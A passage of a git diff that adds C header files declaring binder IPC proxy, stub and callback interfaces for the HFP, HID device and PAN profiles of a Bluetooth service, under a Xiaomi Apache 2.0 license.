__HFP_AG_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_hfp_ag.h" + +#include <android/binder_manager.h> + +const hfp_ag_callbacks_t* BpBtHfpAgCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __HFP_AG_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_ag_callbacks_stub.h b/service/ipc/binder/include/hfp_ag_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..0e1d87d32d5919d5cd79c45acdbb211fa7749c81 --- /dev/null +++ b/service/ipc/binder/include/hfp_ag_callbacks_stub.h @@ -0,0 +1,53 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HFP_AG_CALLBACKS_STUB_H__ +#define __HFP_AG_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_hfp_ag.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const hfp_ag_callbacks_t* callbacks; + void* cookie; +} IBtHfpAgCallbacks; + +typedef enum { + ICBKS_HFP_AG_CONNECTION_STATE = FIRST_CALL_TRANSACTION, + ICBKS_HFP_AG_AUDIO_STATE, + ICBKS_HFP_AG_VR_STATE, + ICBKS_HFP_AG_BATTERY_UPDATE +} IBtHfpAgCallbacks_Call; + +AIBinder* BtHfpAgCallbacks_getBinder(IBtHfpAgCallbacks* adapter); +binder_status_t BtHfpAgCallbacks_associateClass(AIBinder* binder); +IBtHfpAgCallbacks* BtHfpAgCallbacks_new(const hfp_ag_callbacks_t* callbacks); +void BtHfpAgCallbacks_delete(IBtHfpAgCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __HFP_AG_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_ag_proxy.h b/service/ipc/binder/include/hfp_ag_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..3b7925c6a81337fa9be3fd440cbfaf512e2018f7 --- /dev/null +++ b/service/ipc/binder/include/hfp_ag_proxy.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_AG_PROXY_H__ +#define __BT_HFP_AG_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "hfp_ag_stub.h" + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtHfpAg* BpBtHfpAg_new(const char* instance); +void BpBtHfpAg_delete(BpBtHfpAg* bpPan); +void* BpBtHfpAg_registerCallback(BpBtHfpAg* bpBinder, AIBinder* cbksBinder); +bool BpBtHfpAg_unRegisterCallback(BpBtHfpAg* bpBinder, void* cookie); +bool BpBtHfpAg_isConnected(BpBtHfpAg* bpBinder, bt_address_t* addr); +bool BpBtHfpAg_isAudioConnected(BpBtHfpAg* bpBinder, bt_address_t* addr); +profile_connection_state_t BpBtHfpAg_getConnectionState(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_connect(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_disconnect(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_connectAudio(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_disconnectAudio(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_startVoiceRecognition(BpBtHfpAg* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpAg_stopVoiceRecognition(BpBtHfpAg* bpBinder, bt_address_t* addr); +#ifdef __cplusplus +} +#endif +#endif /* __BT_HFP_AG_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_ag_stub.h b/service/ipc/binder/include/hfp_ag_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..cc85006d3faf9739e343b368b8377eeead68783c --- /dev/null +++ b/service/ipc/binder/include/hfp_ag_stub.h @@ -0,0 +1,63 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_AG_STUB_H__ +#define __BT_HFP_AG_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtHfpAg; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtHfpAg; + +typedef enum { + IHFP_AG_REGISTER_CALLBACK = FIRST_CALL_TRANSACTION, + IHFP_AG_UNREGISTER_CALLBACK, + IHFP_AG_IS_CONNECTED, + IHFP_AG_IS_AUDIO_CONNECTED, + IHFP_AG_GET_CONNECTION_STATE, + IHFP_AG_CONNECT, + IHFP_AG_DISCONNECT, + IHFP_AG_AUDIO_CONNECT, + IHFP_AG_AUDIO_DISCONNECT, + IHFP_AG_START_VOICE_RECOGNITION, + IHFP_AG_STOP_VOICE_RECOGNITION, +} IBtHfpAg_Call; + +#define HFP_AG_BINDER_INSTANCE "Vela.Bluetooth.Hfp.AG" + +binder_status_t BtHfpAg_addService(IBtHfpAg* hfpAg, const char* instance); +AIBinder* BtHfpAg_getService(BpBtHfpAg** bpHfpAg, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_HFP_AG_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_hf_callbacks_proxy.h b/service/ipc/binder/include/hfp_hf_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..81ef151de3ddba88c2683526a54a6d4f65ce70bd --- /dev/null +++ b/service/ipc/binder/include/hfp_hf_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HFP_HF_CALLBACKS_PROXY_H__ +#define __HFP_HF_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_hfp_hf.h" + +#include <android/binder_manager.h> + +const hfp_hf_callbacks_t* BpBtHfpHfCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __HFP_HF_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_hf_callbacks_stub.h b/service/ipc/binder/include/hfp_hf_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..f9fb94992794e259d62e92ce80c751a471aeaceb --- /dev/null +++ b/service/ipc/binder/include/hfp_hf_callbacks_stub.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HFP_HF_CALLBACKS_STUB_H__ +#define __HFP_HF_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_hfp_hf.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const hfp_hf_callbacks_t* callbacks; + void* cookie; +} IBtHfpHfCallbacks; + +typedef enum { + ICBKS_HFP_HF_CONNECTION_STATE = FIRST_CALL_TRANSACTION, + ICBKS_HFP_HF_AUDIO_STATE, + ICBKS_HFP_HF_VR_STATE, + ICBKS_HFP_HF_CALL_STATE_CHANGE, + ICBKS_HFP_HF_CMD_COMPLETE, + ICBKS_HFP_HF_RING_INDICATION, + ICBKS_HFP_HF_ROAMING_CHANGED, + ICBKS_HFP_HF_NETWOEK_STATE_CHANGED, + ICBKS_HFP_HF_SIGNAL_STRENGTH_CHANGED, + ICBKS_HFP_HF_OPERATOR_CHANGED, +} IBtHfpHfCallbacks_Call; + +AIBinder* BtHfpHfCallbacks_getBinder(IBtHfpHfCallbacks* adapter); +binder_status_t BtHfpHfCallbacks_associateClass(AIBinder* binder); +IBtHfpHfCallbacks* BtHfpHfCallbacks_new(const hfp_hf_callbacks_t* callbacks); +void BtHfpHfCallbacks_delete(IBtHfpHfCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __HFP_HF_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_hf_proxy.h b/service/ipc/binder/include/hfp_hf_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..88ac41ac78a01b0e5cfac17e56cfb92bf163b245 --- /dev/null +++ b/service/ipc/binder/include/hfp_hf_proxy.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_HF_PROXY_H__ +#define __BT_HFP_HF_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bt_hfp_hf.h" +#include "hfp_hf_stub.h" + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtHfpHf* BpBtHfpHf_new(const char* instance); +void BpBtHfpHf_delete(BpBtHfpHf* bpPan); +void* BpBtHfpHf_registerCallback(BpBtHfpHf* bpBinder, AIBinder* cbksBinder); +bool BpBtHfpHf_unRegisterCallback(BpBtHfpHf* bpBinder, void* cookie); +bool BpBtHfpHf_isConnected(BpBtHfpHf* bpBinder, bt_address_t* addr); +bool BpBtHfpHf_isAudioConnected(BpBtHfpHf* bpBinder, bt_address_t* addr); +profile_connection_state_t BpBtHfpHf_getConnectionState(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_connect(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_disconnect(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_connectAudio(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_disconnectAudio(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_startVoiceRecognition(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_stopVoiceRecognition(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_dial(BpBtHfpHf* bpBinder, bt_address_t* addr, const char* number); +bt_status_t BpBtHfpHf_dialMemory(BpBtHfpHf* bpBinder, bt_address_t* addr, uint32_t memory); +bt_status_t BpBtHfpHf_redial(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_acceptCall(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_call_accept_t flag); +bt_status_t BpBtHfpHf_rejectCall(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_holdCall(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_terminateCall(BpBtHfpHf* bpBinder, bt_address_t* addr); +bt_status_t BpBtHfpHf_controlCall(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_call_control_t chld, uint8_t index); +bt_status_t BpBtHfpHf_queryCurrentCalls(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator); +bt_status_t BpBtHfpHf_sendAtCmd(BpBtHfpHf* bpBinder, bt_address_t* addr, const char* cmd); +#ifdef __cplusplus +} +#endif +#endif /* __BT_HFP_HF_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_hf_stub.h b/service/ipc/binder/include/hfp_hf_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..cb8122cbfd8d887a498712479986e12ceb515a4d --- /dev/null +++ b/service/ipc/binder/include/hfp_hf_stub.h @@ -0,0 +1,73 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_HF_STUB_H__ +#define __BT_HFP_HF_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtHfpHf; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtHfpHf; + +typedef enum { + IHFP_HF_REGISTER_CALLBACK = FIRST_CALL_TRANSACTION, + IHFP_HF_UNREGISTER_CALLBACK, + IHFP_HF_IS_CONNECTED, + IHFP_HF_IS_AUDIO_CONNECTED, + IHFP_HF_GET_CONNECTION_STATE, + IHFP_HF_CONNECT, + IHFP_HF_DISCONNECT, + IHFP_HF_AUDIO_CONNECT, + IHFP_HF_AUDIO_DISCONNECT, + IHFP_HF_START_VOICE_RECOGNITION, + IHFP_HF_STOP_VOICE_RECOGNITION, + IHFP_HF_DIAL, + IHFP_HF_DIAL_MEMORY, + IHFP_HF_REDIAL, + IHFP_HF_ACCEPT_CALL, + IHFP_HF_REJECT_CALL, + IHFP_HF_HOLD_CALL, + IHFP_HF_TERMINATE_CALL, + IHFP_HF_CONTROL_CALL, + IHFP_HF_QUERY_CURRENT_CALL, + IHFP_HF_SEND_AT_CMD, +} IBtHfpHf_Call; + +#define HFP_HF_BINDER_INSTANCE "Vela.Bluetooth.Hfp.HF" + +binder_status_t BtHfpHf_addService(IBtHfpHf* HfpHf, const char* instance); +AIBinder* BtHfpHf_getService(BpBtHfpHf** bpHfpHf, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_HFP_HF_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hid_device_callbacks_proxy.h b/service/ipc/binder/include/hid_device_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..ef95f24e1574a8eb5f4bc60b7f7b76ec1e863dbc --- /dev/null +++ b/service/ipc/binder/include/hid_device_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HID_DEVICE_CALLBACKS_PROXY_H__ +#define __HID_DEVICE_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_hid_device.h" + +#include <android/binder_manager.h> + +const hid_device_callbacks_t* BpBtHiddCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __HID_DEVICE_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hid_device_callbacks_stub.h b/service/ipc/binder/include/hid_device_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..7b35014c80de4f66f76c22a565cae1fd878f59e2 --- /dev/null +++ b/service/ipc/binder/include/hid_device_callbacks_stub.h @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HID_DEVICE_CALLBACKS_STUB_H__ +#define __HID_DEVICE_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_hid_device.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const hid_device_callbacks_t* callbacks; + void* cookie; +} IBtHiddCallbacks; + +typedef enum { + ICBKS_HIDD_APP_STATE = FIRST_CALL_TRANSACTION, + ICBKS_HIDD_CONNECTION_STATE, + ICBKS_GET_REPORT, + ICBKS_SET_REPORT, + ICBKS_RECEIVE_REPORT, + ICBKS_VIRTUAL_UNPLUG +} IBtHiddCallbacks_Call; + +AIBinder* BtHiddCallbacks_getBinder(IBtHiddCallbacks* adapter); +binder_status_t BtHiddCallbacks_associateClass(AIBinder* binder); +IBtHiddCallbacks* BtHiddCallbacks_new(const hid_device_callbacks_t* callbacks); +void BtHiddCallbacks_delete(IBtHiddCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __HID_DEVICE_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hid_device_proxy.h b/service/ipc/binder/include/hid_device_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..88e12b8713b685c56a26c35a7e11c6fe6e4a41eb --- /dev/null +++ b/service/ipc/binder/include/hid_device_proxy.h @@ -0,0 +1,49 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HID_DEVICE_PROXY_H__ +#define __BT_HID_DEVICE_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bt_hid_device.h" +#include "hid_device_stub.h" + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtHidd* BpBtHidd_new(const char* instance); +void BpBtHidd_delete(BpBtHidd* bpHidd); +void* BpBtHidd_registerCallback(BpBtHidd* bpBinder, AIBinder* cbksBinder); +bool BpBtHidd_unRegisterCallback(BpBtHidd* bpBinder, void* cookie); +bt_status_t BpBtHidd_registerApp(BpBtHidd* bpBinder, hid_device_sdp_settings_t* sdp, bool le_hid); +bt_status_t BpBtHidd_unregisterApp(BpBtHidd* bpBinder); +bt_status_t BpBtHidd_connect(BpBtHidd* bpBinder, bt_address_t* addr); +bt_status_t BpBtHidd_disconnect(BpBtHidd* bpBinder, bt_address_t* addr); +bt_status_t BpBtHidd_sendReport(BpBtHidd* bpBinder, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size); +bt_status_t BpBtHidd_responseReport(BpBtHidd* bpBinder, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size); +bt_status_t BpBtHidd_reportError(BpBtHidd* bpBinder, bt_address_t* addr, hid_status_error_t error); +bt_status_t BpBtHidd_virtualUnplug(BpBtHidd* bpBinder, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_HID_DEVICE_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hid_device_stub.h b/service/ipc/binder/include/hid_device_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..ed467549e5cc92b3d5ece08eb5af1178e8079e01 --- /dev/null +++ b/service/ipc/binder/include/hid_device_stub.h @@ -0,0 +1,62 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HID_DEVICE_STUB_H__ +#define __BT_HID_DEVICE_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtHidd; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtHidd; + +typedef enum { + IHIDD_REGISTER_CALLBACK = FIRST_CALL_TRANSACTION, + IHIDD_UNREGISTER_CALLBACK, + IHIDD_REGISTER_APP, + IHIDD_UNREGISTER_APP, + IHIDD_CONNECT, + IHIDD_DISCONNECT, + IHIDD_SEND_REPORT, + IHIDD_RESPONSE_REPORT, + IHIDD_REPORT_ERROR, + IHIDD_VIRTUAL_UNPLUG +} IBtHidd_Call; + +#define HID_DEVICE_BINDER_INSTANCE "Vela.Bluetooth.Hid.Device" + +binder_status_t BtHidd_addService(IBtHidd* hidd, const char* instance); +AIBinder* BtHidd_getService(BpBtHidd** bpHidd, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_HID_DEVICE_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/pan_callbacks_proxy.h b/service/ipc/binder/include/pan_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..9a216eeb02334eb922b6a480a4c54bb2526367c7 --- /dev/null +++ b/service/ipc/binder/include/pan_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __PAN_CALLBACKS_PROXY_H__ +#define __PAN_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_pan.h" + +#include <android/binder_manager.h> + +const pan_callbacks_t* BpBtPanCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __PAN_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/pan_callbacks_stub.h b/service/ipc/binder/include/pan_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..0491a65a6e0b91febab20e313fda6a276be8af34 --- /dev/null +++ b/service/ipc/binder/include/pan_callbacks_stub.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __PAN_CALLBACKS_STUB_H__ +#define __PAN_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_pan.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const pan_callbacks_t* callbacks; + void* cookie; +} IBtPanCallbacks; + +typedef enum { + ICBKS_PAN_CONNECTION_STATE = FIRST_CALL_TRANSACTION, + ICBKS_NETIF_STATE, +} IBtPanCallbacks_Call; + +AIBinder* BtPanCallbacks_getBinder(IBtPanCallbacks* adapter); +binder_status_t BtPanCallbacks_associateClass(AIBinder* binder); +IBtPanCallbacks* BtPanCallbacks_new(const pan_callbacks_t* callbacks); +void BtPanCallbacks_delete(IBtPanCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __PAN_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/pan_proxy.h b/service/ipc/binder/include/pan_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..959978e3321add46c75fabe066f6d177b7fd43d5 --- /dev/null +++ b/service/ipc/binder/include/pan_proxy.h @@ -0,0 +1,40 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_PAN_PROXY_H__ +#define __BT_PAN_PROXY_H__ + +#include "pan_stub.h" +#include <android/binder_manager.h> +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtPan* BpBtPan_new(const char* instance); +void BpBtPan_delete(BpBtPan* bpPan); +void* BpBtPan_registerCallback(BpBtPan* bpBinder, AIBinder* cbksBinder); +bool BpBtPan_unRegisterCallback(BpBtPan* bpBinder, void* cookie); +bt_status_t BpBtPan_connect(BpBtPan* bpBinder, bt_address_t* addr, uint8_t dst_role, uint8_t src_role); +bt_status_t BpBtPan_disconnect(BpBtPan* bpBinder, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_PAN_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/pan_stub.h b/service/ipc/binder/include/pan_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..37307644f21e14809321cbe35b777c60486a16d0 --- /dev/null +++ b/service/ipc/binder/include/pan_stub.h @@ -0,0 +1,56 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_PAN_STUB_H__ +#define __BT_PAN_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtPan; + +typedef struct { + 